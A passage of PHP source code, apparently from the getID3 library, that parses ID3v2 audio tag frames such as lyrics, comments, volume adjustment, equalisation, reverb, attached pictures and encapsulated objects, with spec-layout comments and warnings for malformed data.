			// Content descriptor   <text string according to encoding> $00 (00)
			// Lyrics/text          <full text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			if (strlen($parsedFrame['data']) >= (4 + strlen($frame_textencoding_terminator))) {  // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator);

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
				}
			} else {
				$this->warning('Invalid data in frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9   SYLT Synchronised lyric/text
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) {     // 4.10  SLT  Synchronised lyric/text
			//   There may be more than one 'SYLT' frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Synchronised lyrics/text', ID: 'SYLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Time stamp format    $xx
			//   $01  (32-bit value) MPEG frames from beginning of file
			//   $02  (32-bit value) milliseconds from beginning of file
			// Content type         $xx
			// Content descriptor   <text string according to encoding> $00 (00)
			//   Terminated text to be synced (typically a syllable)
			//   Sync identifier (terminator to above string)   $00 (00)
			//   Time stamp                                     $xx (xx ...)

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttypeid']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttype']     = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']);
			$parsedFrame['encodingid']      = $frame_textencoding;
			$parsedFrame['encoding']        = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['language']        = $frame_language;
			$parsedFrame['languagename']    = $this->LanguageLookup($frame_language, false);

			$timestampindex = 0;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata)) {
				$frame_offset = 0;
				$frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator);
				if ($frame_terminatorpos === false) {
					$frame_remainingdata = '';
				} else {
					if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
						$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
					}
					$parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset);

					$frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator));
					if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) {
						// timestamp probably omitted for first data item
					} else {
						$parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4));
						$frame_remainingdata = substr($frame_remainingdata, 4);
					}
					$timestampindex++;
				}
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10  COMM Comments
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) {     // 4.11  COM  Comments
			//   There may be more than one comment frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Comment', ID: 'COMM'>
			// Text encoding          $xx
			// Language               $xx xx xx
			// Short content descrip. <text string according to encoding> $00 (00)
			// The actual text        <full text string according to encoding>

			if (strlen($parsedFrame['data']) < 5) {

				$this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']);

			} else {

				$frame_offset = 0;
				$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
				if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
					$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
					$frame_textencoding_terminator = "\x00";
				}
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator);

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				$parsedFrame['data']         = $frame_text;
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
					if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					} else {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					}
				}

			}

		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11  RVA2 Relative volume adjustment (2) (ID3v2.4+ only)
			//   There may be more than one 'RVA2' frame in each tag,
			//   but only one with the same identification string
			// <Header for 'Relative volume adjustment (2)', ID: 'RVA2'>
			// Identification          <text string> $00
			//   The 'identification' string is used to identify the situation and/or
			//   device where this adjustment should apply. The following is then
			//   repeated for every channel:
			// Type of channel         $xx
			// Volume adjustment       $xx xx
			// Bits representing peak  $xx
			// Peak volume             $xx (xx ...)

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00");
			$frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			$parsedFrame['description'] = $frame_idstring;
			$RVA2channelcounter = 0;
			while (strlen($frame_remainingdata) >= 5) {
				$frame_offset = 0;
				$frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1));
				$parsedFrame[$RVA2channelcounter]['channeltypeid']  = $frame_channeltypeid;
				$parsedFrame[$RVA2channelcounter]['channeltype']    = $this->RVA2ChannelTypeLookup($frame_channeltypeid);
				$parsedFrame[$RVA2channelcounter]['volumeadjust']   = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed
				$frame_offset += 2;
				$parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1));
				if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) {
					$this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value');
					break;
				}
				$frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8);
				$parsedFrame[$RVA2channelcounter]['peakvolume']     = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume));
				$frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume);
				$RVA2channelcounter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12  RVAD Relative volume adjustment (ID3v2.3 only)
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) {  // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
			//   There may only be one 'RVA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'RVA'>
			// ID3v2.2 => Increment/decrement     %000000ba
			// ID3v2.3 => Increment/decrement     %00fedcba
			// Bits used for volume descr.        $xx
			// Relative volume change, right      $xx xx (xx ...) // a
			// Relative volume change, left       $xx xx (xx ...) // b
			// Peak volume right                  $xx xx (xx ...)
			// Peak volume left                   $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, right back $xx xx (xx ...) // c
			// Relative volume change, left back  $xx xx (xx ...) // d
			// Peak volume right back             $xx xx (xx ...)
			// Peak volume left back              $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, center     $xx xx (xx ...) // e
			// Peak volume center                 $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, bass       $xx xx (xx ...) // f
			// Peak volume bass                   $xx xx (xx ...)

			$frame_offset = 0;
			$frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1);
			$parsedFrame['incdec']['left']  = (bool) substr($frame_incrdecrflags, 7, 1);
			$parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8);
			$parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['right'] === false) {
				$parsedFrame['volumechange']['right'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['left'] === false) {
				$parsedFrame['volumechange']['left'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			if ($id3v2_majorversion == 3) {
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1);
					$parsedFrame['incdec']['leftrear']  = (bool) substr($frame_incrdecrflags, 5, 1);
					$parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['rightrear'] === false) {
						$parsedFrame['volumechange']['rightrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['leftrear'] === false) {
						$parsedFrame['volumechange']['leftrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['leftrear']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1);
					$parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['center'] === false) {
						$parsedFrame['volumechange']['center'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1);
					$parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['bass'] === false) {
						$parsedFrame['volumechange']['bass'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12  EQU2 Equalisation (2) (ID3v2.4+ only)
			//   There may be more than one 'EQU2' frame in each tag,
			//   but only one with the same identification string
			// <Header of 'Equalisation (2)', ID: 'EQU2'>
			// Interpolation method  $xx
			//   $00  Band
			//   $01  Linear
			// Identification        <text string> $00
			//   The following is then repeated for every adjustment point
			// Frequency          $xx xx
			// Volume adjustment  $xx xx

			$frame_offset = 0;
			$frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$parsedFrame['description'] = $frame_idstring;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			while (strlen($frame_remainingdata)) {
				$frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2;
				$parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true);
				$frame_remainingdata = substr($frame_remainingdata, 4);
			}
			$parsedFrame['interpolationmethod'] = $frame_interpolationmethod;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12  EQUA Equalisation (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) {     // 4.13  EQU  Equalisation (ID3v2.2 only)
			//   There may only be one 'EQUA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'EQU'>
			// Adjustment bits    $xx
			//   This is followed by 2 bytes + ('adjustment bits' rounded up to the
			//   nearest byte) for every equalisation band in the following format,
			//   giving a frequency range of 0 - 32767Hz:
			// Increment/decrement   %x (MSB of the Frequency)
			// Frequency             (lower 15 bits)
			// Adjustment            $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1);
			$frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8);

			$frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata) > 0) {
				$frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2));
				$frame_incdec    = (bool) substr($frame_frequencystr, 0, 1);
				$frame_frequency = bindec(substr($frame_frequencystr, 1, 15));
				$parsedFrame[$frame_frequency]['incdec'] = $frame_incdec;
				$parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes));
				if ($parsedFrame[$frame_frequency]['incdec'] === false) {
					$parsedFrame[$frame_frequency]['adjustment'] *= -1;
				}
				$frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13  RVRB Reverb
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) {     // 4.14  REV  Reverb
			//   There may only be one 'RVRB' frame in each tag.
			// <Header for 'Reverb', ID: 'RVRB'>
			// Reverb left (ms)                 $xx xx
			// Reverb right (ms)                $xx xx
			// Reverb bounces, left             $xx
			// Reverb bounces, right            $xx
			// Reverb feedback, left to left    $xx
			// Reverb feedback, left to right   $xx
			// Reverb feedback, right to right  $xx
			// Reverb feedback, right to left   $xx
			// Premix left to right             $xx
			// Premix right to left             $xx

			$frame_offset = 0;
			$parsedFrame['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bouncesL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['bouncesR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixLR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixRL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14  APIC Attached picture
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) {     // 4.15  PIC  Attached picture
			//   There may be several pictures attached to one file,
			//   each in their individual 'APIC' frame, but only one
			//   with the same content descriptor
			// <Header for 'Attached picture', ID: 'APIC'>
			// Text encoding      $xx
			// ID3v2.3+ => MIME type          <text string> $00
			// ID3v2.2  => Image format       $xx xx xx
			// Picture type       $xx
			// Description        <text string according to encoding> $00 (00)
			// Picture data       <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_imagetype = null;
			$frame_mimetype = null;
			if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3);
				if (strtolower($frame_imagetype) == 'ima') {
					// complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
					// MIME type instead of 3-char ID3v2.2-format image type  (thanks xbhoffØpacbell*net)
					$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
					$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
					if (ord($frame_mimetype) === 0) {
						$frame_mimetype = '';
					}
					$frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype)));
					if ($frame_imagetype == 'JPEG') {
						$frame_imagetype = 'JPG';
					}
					$frame_offset = $frame_terminatorpos + strlen("\x00");
				} else {
					$frame_offset += 3;
				}
			}
			if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				if (ord($frame_mimetype) === 0) {
					$frame_mimetype = '';
				}
				$frame_offset = $frame_terminatorpos + strlen("\x00");
			}

			$frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			if ($frame_offset >= $parsedFrame['datalength']) {
				$this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset));
			} else {
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description']   = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description']   = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$parsedFrame['encodingid']    = $frame_textencoding;
				$parsedFrame['encoding']      = $this->TextEncodingNameLookup($frame_textencoding);

				if ($id3v2_majorversion == 2) {
					$parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null;
				} else {
					$parsedFrame['mime']      = isset($frame_mimetype) ? $frame_mimetype : null;
				}
				$parsedFrame['picturetypeid'] = $frame_picturetype;
				$parsedFrame['picturetype']   = $this->APICPictureTypeLookup($frame_picturetype);
				$parsedFrame['data']          = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['datalength']    = strlen($parsedFrame['data']);

				$parsedFrame['image_mime']    = '';
				$imageinfo = array();
				if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) {
					if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) {
						$parsedFrame['image_mime']       = image_type_to_mime_type($imagechunkcheck[2]);
						if ($imagechunkcheck[0]) {
							$parsedFrame['image_width']  = $imagechunkcheck[0];
						}
						if ($imagechunkcheck[1]) {
							$parsedFrame['image_height'] = $imagechunkcheck[1];
						}
					}
				}

				do {
					if ($this->getid3->option_save_attachments === false) {
						// skip entirely
						unset($parsedFrame['data']);
						break;
					}
					$dir = '';
					if ($this->getid3->option_save_attachments === true) {
						// great
/*
					} elseif (is_int($this->getid3->option_save_attachments)) {
						if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) {
							// too big, skip
							$this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)');
							unset($parsedFrame['data']);
							break;
						}
*/
					} elseif (is_string($this->getid3->option_save_attachments)) {
						$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
						if (!is_dir($dir) || !getID3::is_writable($dir)) {
							// cannot write, skip
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)');
							unset($parsedFrame['data']);
							break;
						}
					}
					// if we get this far, must be OK
					if (is_string($this->getid3->option_save_attachments)) {
						$destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset;
						if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
							file_put_contents($destination_filename, $parsedFrame['data']);
						} else {
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)');
						}
						$parsedFrame['data_filename'] = $destination_filename;
						unset($parsedFrame['data']);
					} else {
						if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
							if (!isset($info['id3v2']['comments']['picture'])) {
								$info['id3v2']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($parsedFrame[$picture_key])) {
									$comments_picture_data[$picture_key] = $parsedFrame[$picture_key];
								}
							}
							$info['id3v2']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					}
				} while (false); // @phpstan-ignore-line
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15  GEOB General encapsulated object
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) {     // 4.16  GEO  General encapsulated object
			//   There may be more than one 'GEOB' frame in each tag,
			//   but only one with the same content descriptor
			// <Header for 'General encapsulated object', ID: 'GEOB'>
			// Text encoding          $xx
			// MIME type              <text string> $00
			// Filename               <text string according to encoding> $00 (00)
			// Content description    <text string according to encoding> $00 (00)
			// Encapsulated object    <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_mimetype) === 0) {
				$frame_mimetype = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_filename) === 0) {
				$frame_filename = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$parsedFrame['objectdata']  = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['mime']        = $frame_mimetype;
			$parsedFrame['filename']    = $frame_filename;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16  PCNT Play counter
